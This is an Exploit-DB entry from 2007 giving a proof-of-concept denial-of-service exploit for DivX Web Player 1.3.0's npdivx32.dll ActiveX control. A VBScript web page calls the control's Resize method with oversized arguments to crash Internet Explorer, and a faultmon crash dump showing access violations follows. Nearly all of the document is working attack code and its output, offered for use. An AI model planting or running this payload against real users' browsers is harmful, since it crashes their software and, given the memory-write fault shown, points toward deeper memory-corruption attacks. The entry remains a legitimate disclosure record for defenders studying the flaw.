Exploit-DB #3392
Description: DivX Web Player 1.3.0 - 'npdivx32.dll' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-03-01
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
DivX Web Player 1.3.0 (npdivx32.dll) "Resize" method Denial of Service
url: http://www.divx.com/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
This web player is distributed with DivX Player
-----------------------------------------------------------------------------

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
       document.write("<object classid=clsid:67DABFBF-D0AB-41fa-9C46-CC0F21721616 id='DivxWP'></object>")
       argcount = 2
       arg1 = 10000
       arg2 = 10000
       DivxWP.Resize arg1, arg2
End Sub
</script>
----------------------------------------------------------------------------------

That's a dump from faultmon

13:09:34.559  pid=1624 tid=021C  EXCEPTION (first-chance)

----------------------------------------------------------------
             Exception C0000005 (ACCESS_VIOLATION writing [00000000])

----------------------------------------------------------------
             EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EBX=041D4580: B8 A4 50 1D 04 50 64 FF-35 00 00 00 00 64 89 25
             ECX=017483C4: 14 00 00 00 01 00 00 00-00 00 00 00 00 2C 04 03
             EDX=017483CC: 00 00 00 00 00 2C 04 03-00 00 00 00 00 00 00 00
             ESP=01748334: 50 84 74 01 A4 50 1D 04-A7 11 91 7C 00 00 FE 03
             EBP=01748358: 60 84 74 01 AB CB 92 7C-80 45 1D 04 00 00 FE 03
             ESI=0174834C: 80 45 1D 04 01 00 00 00-60 5F 24 00 60 84 74 01
             EDI=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EIP=041D4596: 89 08 50 45 43 6F 6D 70-61 63 74 32 00 00 0C C0
                           --> MOV [EAX],ECX

----------------------------------------------------------------

13:09:34.622  pid=1624 tid=021C  Loaded module
"C:\WINDOWS\system32\quartz.dll" at 747A0000
13:09:34.653  pid=1624 tid=0930  Created thread with EIP=7C810659, TIB at
7FFAB000
13:09:34.669  pid=1624 tid=021C  EXCEPTION (first-chance)

----------------------------------------------------------------
             Exception C0000005 (ACCESS_VIOLATION reading [0B9CB520])

----------------------------------------------------------------
             EAX=00000051: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EBX=00000140: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             ECX=000000F0: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EDX=04217C90: FF FF FF 00 FF FF FF 00-FF FF FF 00 FF FF FF 00
             ESP=0174EC40: 90 7C 21 04 20 B5 9C 0B-06 13 00 00 F0 00 00 00
             EBP=0174EC58: 90 7C 21 04 93 A5 08 04-90 7C 21 04 20 B5 9C 0B
             ESI=04217C90: FF FF FF 00 FF FF FF 00-FF FF FF 00 FF FF FF 00
             EDI=0B9CB520: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EIP=040A0541: 0F 6E 0F 0F 60 CF 0F 70-D0 FF 0F D5 D6 0F 71 D2
                           --> ???

----------------------------------------------------------------

13:09:34.669  pid=1624 tid=021C  EXCEPTION (unhandled)

----------------------------------------------------------------
             Exception C0000005 (ACCESS_VIOLATION reading [0B9CB520])

----------------------------------------------------------------
             EAX=00000051: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EBX=00000140: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             ECX=000000F0: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EDX=04217C90: FF FF FF 00 FF FF FF 00-FF FF FF 00 FF FF FF 00
             ESP=0174EC40: 90 7C 21 04 20 B5 9C 0B-06 13 00 00 F0 00 00 00
             EBP=0174EC58: 90 7C 21 04 93 A5 08 04-90 7C 21 04 20 B5 9C 0B
             ESI=04217C90: FF FF FF 00 FF FF FF 00-FF FF FF 00 FF FF FF 00
             EDI=0B9CB520: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
             EIP=040A0541: 0F 6E 0F 0F 60 CF 0F 70-D0 FF 0F D5 D6 0F 71 D2
                           --> ???

----------------------------------------------------------------
</span></span>
</code></pre>

# milw0rm.com [2007-03-01]